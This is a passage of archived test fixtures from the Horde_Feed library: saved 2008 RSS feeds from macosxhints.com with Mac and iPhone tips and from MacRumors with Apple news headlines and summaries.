Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.macosxhints.com-backend-geeklog.rdf0000664000175000017500000011056712653701626030436 0ustar janjan MacOSXHints.com http://www.macosxhints.com Macosxhints.com RSS feed robg@macosxhints.com robg@macosxhints.com Copyright 2008 macosxhints.com GeekLog Tue, 22 Jul 2008 08:45:01 -0700 en-gb Split text files for iPod Notes usage via Perl http://feeds.macosxhints.com/~r/macosxhints/recent/~3/342476711/article.php http://www.macosxhints.com/article.php?story=20080716203301531 Tue, 22 Jul 2008 07:30:00 -0700 http://www.macosxhints.com/article.php?story=20080716203301531#comments UNIX I've created a simple Perl script that splits a text file into 4KB parts to use within iPod Notes. Usage is pretty simple:<ol><li>Copy and paste <a href="http://pastebin.com/f4d6a2c70">the script</a> (<a href="http://www.macosxhints.com/dlfiles/makenotes_pl.txt">macosxhints mirror</a>) into a plain text file named <tt>makenotes.pl</tt> on your system. Remember to make the script executable (<tt>chmod 755 makenotes.pl</tt>).</li><li>Put the script and the text you want to split into a directory. For this example, assume the directory is named <tt>book</tt> and located in your user's home folder.</li><li>Open up a Terminal and go to that directory: <tt>cd ~/book</tt></li><li>Run the script with the filename (or filenames) as arguments: <tt>./makenotes.pl colourofmagic.txt</tt></li></ol>When run, the script will ask you to create a title for this book -- this title is used as a directory name and as a prefix for the parts. For instance, if I use the title <tt>colour_of_magic</tt>, the ... <p><a href="http://feeds.macosxhints.com/~a/macosxhints/recent?a=OLnjLr"><img src="http://feeds.macosxhints.com/~a/macosxhints/recent?i=OLnjLr" border="0"></img></a></p><img src="http://feeds.macosxhints.com/~r/macosxhints/recent/~4/342476711" height="1" width="1"/> http://www.macosxhints.com/article.php?story=20080716203301531 Share a FireWire drive via FireWire networking http://feeds.macosxhints.com/~r/macosxhints/recent/~3/342599231/article.php http://www.macosxhints.com/article.php?story=20080717051811427 Tue, 22 Jul 2008 07:30:00 -0700 http://www.macosxhints.com/article.php?story=20080717051811427#comments Network To make this hint work, you need to have a FireWire drive with two ports on it, two FireWire cables, and two Macs with built-in FireWire. To make things easier, I turned off AirPort and disconnected the Ethernet -- I wanted to make sure that I was getting the full speed of the FireWire, as my second Mac only has 100base Ethernet capabilities.<br><br>Connect the FireWire drive to a Mac with file sharing set up on it, and then connect that drive's other FireWire port to any other Mac. Next enable networking over FireWire in the Networking System Preferences panel. In the setup panel, give the computers manual IP addresses -- I used 10.0.0.2 and 10.0.0.3, and a subnet mask of 255.255.255.0. Finally, simply connect to the Mac with the drive showing up in the Finder, and it will show up in sharing!<br><br>This allows you to network over FireWire and share a hard drive, which for me is useful for today's task of backing up all of my DVDs onto the drive. It could be useful for a multitude ... <p><a href="http://feeds.macosxhints.com/~a/macosxhints/recent?a=hfW4Ec"><img src="http://feeds.macosxhints.com/~a/macosxhints/recent?i=hfW4Ec" border="0"></img></a></p><img src="http://feeds.macosxhints.com/~r/macosxhints/recent/~4/342599231" height="1" width="1"/> http://www.macosxhints.com/article.php?story=20080717051811427 One cause of Exchange failure on iPhone/iPod Touch 2.0 http://feeds.macosxhints.com/~r/macosxhints/recent/~3/342599232/article.php http://www.macosxhints.com/article.php?story=20080717090130610 Tue, 22 Jul 2008 07:30:00 -0700 http://www.macosxhints.com/article.php?story=20080717090130610#comments iPhone My company uses Exchange, and hearing Apple chime on about Exchange support started to get under my skin after my first few unsuccessful attempts at getting it to work. What I didn't realize is that Apple has SSL enabled by default. And since my company does not use SSL for Exchange, the verification process will always fail despite the Domain, Mail Server, and other settings from the configure new account screen being correct. The solution is to just save the broken settings, and then manually edit the account and disable SSL. I hope that, in a future revision, Apple fixes the auto-detect settings that Entourage supports, or at least gives access to all settings from the Configure Account screen. <p><a href="http://feeds.macosxhints.com/~a/macosxhints/recent?a=Pos0P4"><img src="http://feeds.macosxhints.com/~a/macosxhints/recent?i=Pos0P4" border="0"></img></a></p><img src="http://feeds.macosxhints.com/~r/macosxhints/recent/~4/342599232" height="1" width="1"/> http://www.macosxhints.com/article.php?story=20080717090130610 Update location information on original iPhone http://feeds.macosxhints.com/~r/macosxhints/recent/~3/341587878/article.php http://www.macosxhints.com/article.php?story=20080714174536221 Mon, 21 Jul 2008 07:30:00 -0700 http://www.macosxhints.com/article.php?story=20080714174536221#comments iPhone You might think you are out of luck when using Location services on your old iPhone, but you aren't! You have to perform an extra step, and you are relying on the original iPhone's tower triangulation method instead of GPS, but it's better than nothing. It, of course, requires the iPhone 2.0 software.<br><br>To use location services with your current local location, before you access any program that needs to know your location, go to the Maps program, and use the Find Location icon to get your current location by triangulation. Then, access the program that plans on using location services, and it will use your current location. (If you've used the "OK to use my location" button to access a program from one location, then move to another location and launch a location-aware program, your stored location will reflect your first position until you force it to update using this technique.)<br><br>I've had to do this manually every time I wanted to get local information, but it works w... <p><a href="http://feeds.macosxhints.com/~a/macosxhints/recent?a=bo5a1K"><img src="http://feeds.macosxhints.com/~a/macosxhints/recent?i=bo5a1K" border="0"></img></a></p><img src="http://feeds.macosxhints.com/~r/macosxhints/recent/~4/341587878" height="1" width="1"/> http://www.macosxhints.com/article.php?story=20080714174536221 Make a Pandora (or any web page) into a program http://feeds.macosxhints.com/~r/macosxhints/recent/~3/341587879/article.php http://www.macosxhints.com/article.php?story=20080715092006881 Mon, 21 Jul 2008 07:30:00 -0700 http://www.macosxhints.com/article.php?story=20080715092006881#comments Web Browsers I love using <a href="http://www.pandora.com/">Pandora Radio</a>, but always hated having a separate browser window open all the time. As a solution, I discovered the excellent (and free) <a href="http://fluidapp.com/">Fluid.app</a>, which will make a free-standing application out of a web-app -- and even better, can convert your app to a menu-bar extra!<br><br>I just opened Pandora, clicked on the 'mini-browser,' and then copied that address into Fluid.app. After creating the program, simply click on the Fluid menu choose Convert to MenuExtra SSB. You can even go to Preferences in your program (prior to converting) and select window styles and transparency.<br><br>So I now have a small menu extra with a pop-up semi-transparent window that I can instantly open and play/pause Pandora without keeping a separate browser-window open. Of course, Fluid can be used to make apps out of any other webpage as well. I hope others enjoy this as much as I am. <p><a href="http://feeds.macosxhints.com/~a/macosxhints/recent?a=TjQUyj"><img src="http://feeds.macosxhints.com/~a/macosxhints/recent?i=TjQUyj" border="0"></img></a></p><img src="http://feeds.macosxhints.com/~r/macosxhints/recent/~4/341587879" height="1" width="1"/> http://www.macosxhints.com/article.php?story=20080715092006881 Create a permanent sidebar entry for networked folders http://feeds.macosxhints.com/~r/macosxhints/recent/~3/341587880/article.php http://www.macosxhints.com/article.php?story=20080715153043910 Mon, 21 Jul 2008 07:30:00 -0700 http://www.macosxhints.com/article.php?story=20080715153043910#comments Desktop If you're anything like me, then you probably access files within folders within folders on removable media (i.e. external hard drives, Flash drives). It can become quite a hassle (with a trackpad, anyway) to open the the media device, select the folder, navigate, select another folder, navigate, and then select the desired file or folder.<br><br>I tried adding my commonly-accessed (but time consuming to reach) external hard drive folder to the Finder's sidebar, but whenever I took my MacBook somewhere and the folder wasn't present, the sidebar alias disappeared.<br><br>So my solution was to make a local alias of the removable folder, put it in my Documents (or any other local) folder, then drag the alias to the sidebar. Now I can eject removable media without losing my sidebar shortcut. <br><br>[<b>robg adds:</b> I thought we had run something similar in the past, but I can't find it now -- so if this is a duplicate, please let me know. Also, if you use this hint, you should be awa... <p><a href="http://feeds.macosxhints.com/~a/macosxhints/recent?a=sefZnl"><img src="http://feeds.macosxhints.com/~a/macosxhints/recent?i=sefZnl" border="0"></img></a></p><img src="http://feeds.macosxhints.com/~r/macosxhints/recent/~4/341587880" height="1" width="1"/> http://www.macosxhints.com/article.php?story=20080715153043910 Send SMS on iPhone for free http://feeds.macosxhints.com/~r/macosxhints/recent/~3/341587881/article.php http://www.macosxhints.com/article.php?story=20080716123634870 Mon, 21 Jul 2008 07:30:00 -0700 http://www.macosxhints.com/article.php?story=20080716123634870#comments iPhone With <a href="http://phobos.apple.com/WebObjects/MZStore.woa/wa/viewSoftware?id=281704574&amp;mt=8">AIM</a> available in the iPhone's App Store, you can now send and receive SMS messages without paying for a plan or individual messages. Also, this will be even better when the notification service works on applications sometimes this fall.<br><br>First, download AIM onto your iPhone, then start it up. If you want to send a text message to (617) 555-1212, just send a new IM to <em>+16175551212</em>. You should receive a confirmation message from AOL saying your message has been sent, and the user can reply and you'll receive it on your phone as an IM. Hope this hint saves some people a few bucks.<br><br>[<b>robg adds:</b> We <a href="http://www.macosxhints.com/article.php?story=20030625235057445">covered this technique</a> for SMS via iChat a few years back, but I felt it worth mentioning again in the context of the iPhone.] <p><a href="http://feeds.macosxhints.com/~a/macosxhints/recent?a=V9MZj6"><img src="http://feeds.macosxhints.com/~a/macosxhints/recent?i=V9MZj6" border="0"></img></a></p><img src="http://feeds.macosxhints.com/~r/macosxhints/recent/~4/341587881" height="1" width="1"/> http://www.macosxhints.com/article.php?story=20080716123634870 Final Cut Express 4 - iMovie HD's heir apparent http://feeds.macosxhints.com/~r/macosxhints/recent/~3/341562274/article.php http://www.macosxhints.com/article.php?story=20080721060058886 Mon, 21 Jul 2008 06:54:00 -0700 http://www.macosxhints.com/article.php?story=20080721060058886#comments Pick of the Week <img src="http://www.macosxhints.com/images/w_fce4.png" align="right"><b>The macosxhints Rating:</b><br><img src="http://www.macosxhints.com/images/w_9.png"><br>[Score: <b>9</b> out of 10]<br><ul> <li>Developer: <a href="http://www.apple.com">Apple</a>/ <a href="http://www.apple.com/finalcutexpress/">Product page</a></li> <li>Price: &#36;199 (&#36;99 upgrade from older versions)</li></ul>I just finished another video project for Macworld (an <a href="http://www.macworld.com/article/134584/2008/07/mwvodcast59.html">overview of Sun's VirtualBox virtualization app</a> for Macs), and as I finished the project, I realized just how pleasant it is to work with Final Cut Express -- and that I'd never given it the Pick of the Week nod here on macosxhints.com. Yes, it's relatively expensive, but if you have more than a passing interest in video editing on the Mac, it's well worth the cost of admission.<br><br>I'll be the first to admit that I've got no aspirations (nor skills to succeed) as a... <p><a href="http://feeds.macosxhints.com/~a/macosxhints/recent?a=kdOtrz"><img src="http://feeds.macosxhints.com/~a/macosxhints/recent?i=kdOtrz" border="0"></img></a></p><img src="http://feeds.macosxhints.com/~r/macosxhints/recent/~4/341562274" height="1" width="1"/> http://www.macosxhints.com/article.php?story=20080721060058886 Work around Photoshop's 3GB RAM limit http://feeds.macosxhints.com/~r/macosxhints/recent/~3/339049828/article.php http://www.macosxhints.com/article.php?story=20080716133717914 Fri, 18 Jul 2008 07:30:04 -0700 http://www.macosxhints.com/article.php?story=20080716133717914#comments Apps With RAM prices dropping so fast, it seems a shame that I can't really use more than 3GB of memory for Photoshop. As a 32 bit application, Photoshop CS3 can only "use" 4GB of real memory -- a 1GB chunk for the application, leaving a potential 3GB of real RAM available for Photoshop to use for my images. For anyone with 8GB or more of memory, here's an old concept that tricks Photoshop into using as much memory as you want. <br><br> Remember RAM disks from OS9? The feature is available in the command line in OS X. By creating a RAM disk, and having Photoshop use that as the first scratch disk, you'll speed up Photoshop <em>as long as you have enough real memory</em> to do it. For my test, I allocated 3GB to Photoshop in its prefernces (real memory usage), and then created a 2GB RAM disk. The Terminal command to create a 2GB drive is: <pre><code>hdid -nomount ram://4194304</code></pre> The number is the number of 512 byte blocks in your RAM disk. The example above creates a 2GB disk... <p><a href="http://feeds.macosxhints.com/~a/macosxhints/recent?a=z0uax1"><img src="http://feeds.macosxhints.com/~a/macosxhints/recent?i=z0uax1" border="0"></img></a></p><img src="http://feeds.macosxhints.com/~r/macosxhints/recent/~4/339049828" height="1" width="1"/> http://www.macosxhints.com/article.php?story=20080716133717914 Subscribe to RSS feeds for programs in the App Store http://feeds.macosxhints.com/~r/macosxhints/recent/~3/339049829/article.php http://www.macosxhints.com/article.php?story=20080714205935422 Fri, 18 Jul 2008 07:30:03 -0700 http://www.macosxhints.com/article.php?story=20080714205935422#comments iPhone I've seen a few requests around the internets for an app store RSS feed. Until Apple releases their own, I have stumbled upon a useful one: <br><br> <a href="//webobjects.mdimension.com/iPhoneApps.rss">feed://webobjects.mdimension.com/iPhoneApps.rss</a> <br><br> Enjoy! <br><br> [<b>robg adds:</b> I discovered (<a href="http://www.tuaw.com/2008/07/16/rss-feeds-for-the-app-store/">thanks to TUAW</a>) a number of App Store feeds provided by Pinch Media: <ul> <li><a href="http://feeds.feedburner.com/RecentlyAddedIphoneApplications-PinchMedia">Recently added apps</a></li> <li><a href="http://feeds.feedburner.com/RecentlyAddedFreeIphoneApplications-PinchMedia">Recently added free apps</a></li> <li><a href="http://feeds.feedburner.com/RecentlyUpdatedIphoneApplications-PinchMedia">Updated apps</a></li> <li><a href="http://feeds.feedburner.com/Top100FreeIphoneApplications-PinchMedia">Top 100 free apps</a></li> <li><a href="http://feeds.feedburner.com/Top100PaidIphoneApplications-PinchMedia">... <p><a href="http://feeds.macosxhints.com/~a/macosxhints/recent?a=1YNM4S"><img src="http://feeds.macosxhints.com/~a/macosxhints/recent?i=1YNM4S" border="0"></img></a></p><img src="http://feeds.macosxhints.com/~r/macosxhints/recent/~4/339049829" height="1" width="1"/> http://www.macosxhints.com/article.php?story=20080714205935422 Search iPhone (2.0) contacts by first and last name http://feeds.macosxhints.com/~r/macosxhints/recent/~3/339049830/article.php http://www.macosxhints.com/article.php?story=20080714142350433 Fri, 18 Jul 2008 07:30:02 -0700 http://www.macosxhints.com/article.php?story=20080714142350433#comments iPhone On the new iPhone software, you can search for a contact using the first and last name. For instance, if you want to search for <em>Pedro Fernandes</em>, you would write <em>P F</em> (that's P, then a space, then an F). The iPhone will filter out all the contacts with first and last name starting with P and F, and vice-versa. You can further refine the search by typing more letters. This is a great time-saving feature; thanks, Apple! <br><br> Bonus hint... on a standard phone (none-Apple) I always stored the names in such a way that you can do this search. So for instance I would have: Pedro Fernandes stored as PFernandes Pedro, Tania Silva stored as TSilva Tania, Daniel Fidalgo stored as DFidalgo Daniel, etc. This enables a quick search through first and last names. So if you are stuck (or by choice) have an old (classic) phone, maybe you find this usefull as well. <p><a href="http://feeds.macosxhints.com/~a/macosxhints/recent?a=B5XZ7L"><img src="http://feeds.macosxhints.com/~a/macosxhints/recent?i=B5XZ7L" border="0"></img></a></p><img src="http://feeds.macosxhints.com/~r/macosxhints/recent/~4/339049830" height="1" width="1"/> http://www.macosxhints.com/article.php?story=20080714142350433 Set the Cisco VPN group password on iPhone 2.0 http://feeds.macosxhints.com/~r/macosxhints/recent/~3/339049831/article.php http://www.macosxhints.com/article.php?story=20080714195856916 Fri, 18 Jul 2008 07:30:01 -0700 http://www.macosxhints.com/article.php?story=20080714195856916#comments iPhone If you're trying to configure the iPhone 2.0's built-in Cisco VPN client, you may be stymied by the lack of a place to type your group password. <br><br> It's there, but labeled "Secret." Put your group password there, and you should be good to go. <p><a href="http://feeds.macosxhints.com/~a/macosxhints/recent?a=VinDO2"><img src="http://feeds.macosxhints.com/~a/macosxhints/recent?i=VinDO2" border="0"></img></a></p><img src="http://feeds.macosxhints.com/~r/macosxhints/recent/~4/339049831" height="1" width="1"/> http://www.macosxhints.com/article.php?story=20080714195856916 Sync subscribed calendars to the iPhone via MobileMe http://feeds.macosxhints.com/~r/macosxhints/recent/~3/338106535/article.php http://www.macosxhints.com/article.php?story=20080713091226415 Thu, 17 Jul 2008 07:30:05 -0700 http://www.macosxhints.com/article.php?story=20080713091226415#comments iPhone Calendar syncing via MobileMe to an iPhone works great, except it doesn't include subscribed calendars yet. (An <a href="http://support.apple.com/kb/TS1213">Apple knowledge base article</a> makes it sound like they are working on it.) Here's a workaround that's good for static calendars, like US Holidays or Jewish Holidays: <ol> <li>Select the subscribed calendar in iCal.</li> <li>Choose File » Export... and save it someplace.</li> <li>Choose File » Import... and select the file you just saved.</li> <li>Uncheck the subscribed calendar so you don't see duplicates on the local Mac.</li> </ol> Now your holidays or birthdays will be shown on the iPhone. <p><a href="http://feeds.macosxhints.com/~a/macosxhints/recent?a=Z1Yrh1"><img src="http://feeds.macosxhints.com/~a/macosxhints/recent?i=Z1Yrh1" border="0"></img></a></p><img src="http://feeds.macosxhints.com/~r/macosxhints/recent/~4/338106535" height="1" width="1"/> http://www.macosxhints.com/article.php?story=20080713091226415 10.5: View exactly which files Time Machine backed up http://feeds.macosxhints.com/~r/macosxhints/recent/~3/338106536/article.php http://www.macosxhints.com/article.php?story=20080714124323976 Thu, 17 Jul 2008 07:30:04 -0700 http://www.macosxhints.com/article.php?story=20080714124323976#comments System 10.5 <img src="http://www.macosxhints.com/images/105only.png" align="left" style="margin-right: 10px">You may occasionally notice Time Machine is backing up an unexpectedly large amount of data, or maybe you're just curious as to what actually changed between backups. Perhaps you'd like to tailor your exclusion list to keep the backup size down. Unfortunately, the Time Machine interface provide no means to find out what it is actually being backed up. Luckily, we can use the fact that Time Machine creates hard links of unchanged files to explore what it <i>did</i> back up, after the fact. <tt>timedog</tt> is a Perl script (<a href="http://www.macosxhints.com/dlfiles/timedog.zip">4KB download</a>) which does just that. Use it like so: <pre><code>&#36; cd /Volumes/TM/Backups.backupdb/myhost &#36; timedog -d 5 -l</code></pre> By default, <tt>timedog</tt> will examine the most recent backup, compare it to the one prior, and report all changed files. The <tt>-d</tt> flag controls the direc... <p><a href="http://feeds.macosxhints.com/~a/macosxhints/recent?a=M0cofs"><img src="http://feeds.macosxhints.com/~a/macosxhints/recent?i=M0cofs" border="0"></img></a></p><img src="http://feeds.macosxhints.com/~r/macosxhints/recent/~4/338106536" height="1" width="1"/> http://www.macosxhints.com/article.php?story=20080714124323976 Reduce battery consumption on iPhone 2.0 phones http://feeds.macosxhints.com/~r/macosxhints/recent/~3/338106537/article.php http://www.macosxhints.com/article.php?story=2008071407215178 Thu, 17 Jul 2008 07:30:03 -0700 http://www.macosxhints.com/article.php?story=2008071407215178#comments iPhone I don't have the latest firmware (quietly released only when a restore is performed), but a lot of people have been complaining about abysmal battery life for the 3G iPhone (four to six hours). After a lot of trial and error, disabling push mail and only checking mail hourly has greatly improved battery life.<br><br>With wifi, Bluetooth, 3G, and GPS enabled, battery life is is more consistent with the first generation iPhone. A quick check of the Apple support discussion board reveals that others are coming to similar conclusions.<br><br>[<b>robg adds:</b> Disabling push email on first generation iPhones running iPhone software 2.0 should have similar benefits.] <p><a href="http://feeds.macosxhints.com/~a/macosxhints/recent?a=wuRcTN"><img src="http://feeds.macosxhints.com/~a/macosxhints/recent?i=wuRcTN" border="0"></img></a></p><img src="http://feeds.macosxhints.com/~r/macosxhints/recent/~4/338106537" height="1" width="1"/> http://www.macosxhints.com/article.php?story=2008071407215178 Improve range on antenna-equipped Base Stations http://feeds.macosxhints.com/~r/macosxhints/recent/~3/338106538/article.php http://www.macosxhints.com/article.php?story=20080714054356565 Thu, 17 Jul 2008 07:30:02 -0700 http://www.macosxhints.com/article.php?story=20080714054356565#comments Other Hardware If you have an external antenna on your AirPort Base Station, you may be able to extend the range somewhat, depending on how you originally connected the antenna. Here's how to make sure you're getting the maximum range possible: <ol> <li>Power down the Base Station.</li> <li>Unlug your external antenna.</li> <li>Power up the Base Station.</li> <li>Plug in the external antenna.</li> </ol> The improved signal can easily be measured in AP Grapher or MacStumbler. It's not a huge difference, but it made a marginal connection reliable again. Be aware that if you ever reboot the Base Station, you'll need to be sure that the external antenna is unplugged while it reboots, otherwise the signal will drop back down to the "normal" level. This works on my white AirPort Extreme Base Station. <p><a href="http://feeds.macosxhints.com/~a/macosxhints/recent?a=jLh8FA"><img src="http://feeds.macosxhints.com/~a/macosxhints/recent?i=jLh8FA" border="0"></img></a></p><img src="http://feeds.macosxhints.com/~r/macosxhints/recent/~4/338106538" height="1" width="1"/> http://www.macosxhints.com/article.php?story=20080714054356565 10.5: More control of fan speeds on iMacs and laptops http://feeds.macosxhints.com/~r/macosxhints/recent/~3/338106539/article.php http://www.macosxhints.com/article.php?story=20080711153203401 Thu, 17 Jul 2008 07:30:01 -0700 http://www.macosxhints.com/article.php?story=20080711153203401#comments Apps <img src="http://www.macosxhints.com/images/105only.png" align="left" style="margin-right: 10px">We take great care to ensure that our systems run with reasonable temperatures as that helps extend their lifetimes. We've used various applications to control the fan speeds on different systems but, with the upgrade to 10.5, our Intel-based iMac was left without a fan-control solution that worked adequately. To that end, I decided to modify the open source (GPL) <a href="http://www.lobotomo.com/products/FanControl/">FanControl</a> to work with our iMac. The result is that I've generated two new versions of Fan Control, <a href="http://www.derman.com/Download/Special/iMacFanControl.html">one for the Intel-based iMacs</a> and <a href="http://www.derman.com/Download/Special/MBpFanControl.html">one for the MacBook/MacBook Pro</a>. <br><br> These versions also have some extended control capabilities over the original FanControl</a>. The iMac version uses separate sensors to drive the contro... <p><a href="http://feeds.macosxhints.com/~a/macosxhints/recent?a=MLxpTc"><img src="http://feeds.macosxhints.com/~a/macosxhints/recent?i=MLxpTc" border="0"></img></a></p><img src="http://feeds.macosxhints.com/~r/macosxhints/recent/~4/338106539" height="1" width="1"/> http://www.macosxhints.com/article.php?story=20080711153203401 Easily add lyrics to iTunes songs via AppleScript http://feeds.macosxhints.com/~r/macosxhints/recent/~3/337125428/article.php http://www.macosxhints.com/article.php?story=20080713080757867 Wed, 16 Jul 2008 07:30:05 -0700 http://www.macosxhints.com/article.php?story=20080713080757867#comments Apps Often programs like PearLyrics or <a href="http://blog.livedoor.jp/widget236/">SingThatiTune</a> just don't find the song I am looking for, and I have to find the lyrics manually. I found it tedious to find the lyrics in Safari, switch back to iTunes, highlight the song I want to add the lyrics to, open the song's info panel, paste in the lyrics, and finally, close the window. So I wrote this simple AppleScript instead: <pre><code>tell application "System Events" set sel to (the clipboard as text) end tell tell application "iTunes" set lyrics of current track to sel end tell</code></pre> I then bound this AppleScript to a keyboard shortcut using <a href="http://www.scriptsoftware.com/ikey/">iKeys</a> (any macro-capable program should work just as well). It will copy any text currently in the clipboard to the currently playing song's lyrics. <p><a href="http://feeds.macosxhints.com/~a/macosxhints/recent?a=OcQ5cs"><img src="http://feeds.macosxhints.com/~a/macosxhints/recent?i=OcQ5cs" border="0"></img></a></p><img src="http://feeds.macosxhints.com/~r/macosxhints/recent/~4/337125428" height="1" width="1"/> http://www.macosxhints.com/article.php?story=20080713080757867 Work around an iChat 'login details rejected' issue http://feeds.macosxhints.com/~r/macosxhints/recent/~3/337125429/article.php http://www.macosxhints.com/article.php?story=20080714052704491 Wed, 16 Jul 2008 07:30:04 -0700 http://www.macosxhints.com/article.php?story=20080714052704491#comments Apps I was helping a friend set up a MacBook. When we entered his username xxxx.yyyy@mac.com and password into iChat, the credentials were rejected by the server ("Incorrect password"). Though I was sure the password was correct, I reset it via the web, but to no avail. <br><br> Finally, having run out of other things to try, I entered the account as an AIM account, with "@mac.com" appended to the username. It worked straight away. <p><a href="http://feeds.macosxhints.com/~a/macosxhints/recent?a=kLezHA"><img src="http://feeds.macosxhints.com/~a/macosxhints/recent?i=kLezHA" border="0"></img></a></p><img src="http://feeds.macosxhints.com/~r/macosxhints/recent/~4/337125429" height="1" width="1"/> http://www.macosxhints.com/article.php?story=20080714052704491 Jump to search field in Contacts on iPhone http://feeds.macosxhints.com/~r/macosxhints/recent/~3/337125431/article.php http://www.macosxhints.com/article.php?story=2008071604295238 Wed, 16 Jul 2008 07:30:03 -0700 http://www.macosxhints.com/article.php?story=2008071604295238#comments iPhone One of the new features in the iPhone 2.0 software is the ability to search your contacts (as well as an actual Contacts icon, instead of being forced to reach them from the phone section of the iPhone). The search field, however, is located at the top of the contact list, and is (strangely) not fixed in place. So if you scroll down, it scrolls off the top of the screen. <br><br> To get it back, you can scroll up, of course, but that's time consuming. Instead, just tap the status bar (carrier, wireless strength, etc.), as you can do in Safari to jump to the top of a web page. This will take you to the top of your Contacts, bringing the search field back into view. <br><br> I can't remember where I heard this one, though I think it was from a fellow Macworld writer during an iPhone 2.0 software conference call. Best as I can tell, though, it's not documented in the latest version of the <a href="http://support.apple.com/manuals/#iphone">iPhone user's manual</a> (which is some 22 page... <p><a href="http://feeds.macosxhints.com/~a/macosxhints/recent?a=hNW5wq"><img src="http://feeds.macosxhints.com/~a/macosxhints/recent?i=hNW5wq" border="0"></img></a></p><img src="http://feeds.macosxhints.com/~r/macosxhints/recent/~4/337125431" height="1" width="1"/> http://www.macosxhints.com/article.php?story=2008071604295238 Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.macrumors.com-macrumors.xml0000664000175000017500000002504412653701626027134 0ustar janjan MacRumors : Mac News and Rumors http://www.macrumors.com the mac news you care about en-us Copyright 2000 - 2005, MacRumors.com Tue, 22 Jul 2008 10:32:54 EDT GPU Powered Macs and iPhones http://www.macrumors.com/2008/07/22/gpu-powered-macs-and-iphones/ Architosh points us to a Guardian.co.uk article from last week which details the upcoming trend of using GPUs (graphics processors) for day to day computing. As they point out, if you have a computer with either an ATI or nVidia graphics card, chan... Tue, 22 Jul 2008 10:32:21 EDT Apple Hints at a 'Product Transition' and a New Product Soon? http://www.macrumors.com/2008/07/21/apple-hints-at-a-product-transition-and-a-new-product-soon/ Apple's financial results conference call today was littered with references to future products coming from Apple. While some degree of optimism ("very excited about future") is the norm during these financial results calls, there was more discussio... Mon, 21 Jul 2008 17:59:15 EDT Apple Announces $1.07 Billion in Profit for Q3 2008 http://www.macrumors.com/2008/07/21/apple-announces-1-07-billion-in-profit-for-q3-2008/ Apple announced their 3rd Quarter 2008 Financial Results today. Apple posted revenue of $7.46 billion and net quarterly profit of $1.07 billion (or $1.19 per diluted share). This compares favorably to revenue of $5.41 billion and net quarterly prof... Mon, 21 Jul 2008 16:36:36 EDT Some MobileMe Users Still Without Email http://www.macrumors.com/2008/07/21/some-mobileme-users-still-without-email/ CNN Money reports that some MobileMe customers are still without email service.<p class="quote">The Cupertino, Calif., company has been migrating its .Mac pay email service to an upgraded version, called MobileMe. But in doing so, it has run into pro... Mon, 21 Jul 2008 13:43:07 EDT Apple's Earnings Results to Focus on Mac (and iPod) http://www.macrumors.com/2008/07/21/apples-earnings-results-to-focus-on-mac-and-ipod/ Bloomberg reports that Apple's earnings report later today will focus on Mac and iPod sales which make up for 75% of the company's revenue. Despite the prominent iPhone 3G launch last week, those sales fall outside the reporting window for today's e... Mon, 21 Jul 2008 04:51:32 EDT Apple Sends Another MobileMe Apology E-mail and Extension http://www.macrumors.com/2008/07/19/apple-sends-another-mobileme-apology-e-mail-and-extension/ Amidst the rocky .Mac to MobileMe transition last week, Apple made one other mistake that it is now apologizing for. Apple had been preauthorizing charges up to 121 GBP to European customers who signed up for a free MobileMe trial. For debit accou... Sat, 19 Jul 2008 03:52:24 EDT iPhone Remote Acts as Wi-Fi Keyboard for Apple TV http://www.macrumors.com/2008/07/19/iphone-remote-acts-as-wi-fi-keyboard-for-apple-tv/ As noted on DaringFireball.net, Apple's popular Remote iPhone application adds a useful and unpublicized feature to your Apple TV - a keyboard.<br /> <br /> The Remote App [App Store] is a free download from the App Store and runs on both the iPhon... Sat, 19 Jul 2008 02:16:38 EDT Apple Prepping for Notebook Refresh? http://www.macrumors.com/2008/07/18/apple-prepping-for-notebook-refresh/ Signs are starting to appear that Apple may be prepping for a revision of their Mac laptops in the near future. Following up a previous Commercial Times report that pointed to a Q3 (July-September) order for MacBook displays, the paper now reports t... Fri, 18 Jul 2008 09:43:51 EDT Apple Opening First Retail Store in China http://www.macrumors.com/2008/07/18/apple-opening-first-retail-store-in-china/ <br /> from WSJ's China Journal<br /> On July 19th, Apple is opening its first retail store in China in Beijing's Sanlitun entertainment district. The store opens at 10 a.m. local time.<p class="quote">"This is the first of many stores we will ope... Fri, 18 Jul 2008 04:35:52 EDT AT&T's Free Wi-Fi Hotspot Access for iPhones Finally Announced? [No] http://www.macrumors.com/2008/07/18/atandts-free-wi-fi-hotspot-access-for-iphones-finally-announced/ iPhoneAlley notes that AT&T has once again posted information on their website indicating that all iPhone customers have free access to their more than 17,000 Wi-Fi hotspots access across the U.S., including Starbucks locations:<p class="quote">AT&T ... Fri, 18 Jul 2008 03:44:08 EDT Apple's Q3 2008 Financial Results on July 21st http://www.macrumors.com/2008/07/17/apples-q3-2008-financial-results-on-july-21st/ Apple will be webcasting their 3rd Quarter 2008 Financial Results on July 21, 2008. The 3rd fiscal quarter encompasses sales between April 1, 2008 and June 30, 2008. As such, results from the iPhone 3G and App Store sales will not be included in th... Thu, 17 Jul 2008 15:09:58 EDT Apple's U.S. Market Share Continues to Grow http://www.macrumors.com/2008/07/16/apples-u-s-market-share-continues-to-grow/ A pair of quarterly research reports released today reveal that Apple is continuing to experience growing U.S. market share among PC shipments.<br /> <br /> Gartner's report pegs Apple's share of U.S. PC shipments for the second quarter of 2008 at ... Wed, 16 Jul 2008 18:43:56 EDT Intel to Deliver Quad-Core Mobile Processors Next Month http://www.macrumors.com/2008/07/16/intel-to-deliver-quad-core-mobile-processors-next-month/ Intel announced that it would be releasing its first quad-core processor for laptops next month.<p class="quote">"We're bringing quad-core to mobile in August," said Sujan Kamran, regional marketing manager for client platforms at Intel in Singapore.... Wed, 16 Jul 2008 12:40:08 EDT Apple Sends Apology Letter, 30-Day Extension to MobileMe Customers http://www.macrumors.com/2008/07/16/apple-sends-apology-letter-30-day-extension-to-mobileme-customers/ Today, Apple sent out an email to MobileMe customers apologizing for the rocky transition from .Mac to MobileMe.<p class="quote">We have recently completed the transition from .Mac to MobileMe. Unfortunately, it was a lot rockier than we had hoped.<b... Wed, 16 Jul 2008 10:57:19 EDT iPhone 3G Remains Hard to Find http://www.macrumors.com/2008/07/15/iphone-3g-remains-hard-to-find/ <br /> Line at Apple Store Chicago, IL today by wowk1234<br /> Fortune reports that the iPhone 3G is still a scarce item to find. Lines continue to form at many stores, and as of this morning, 21 states were sold out of the iPhone.<p class="quote"... Tue, 15 Jul 2008 17:45:22 EDT Apple Releases iPod Touch 1.1.5 Firmware http://www.macrumors.com/2008/07/15/apple-releases-ipod-touch-1-1-5-firmware/ Apple has 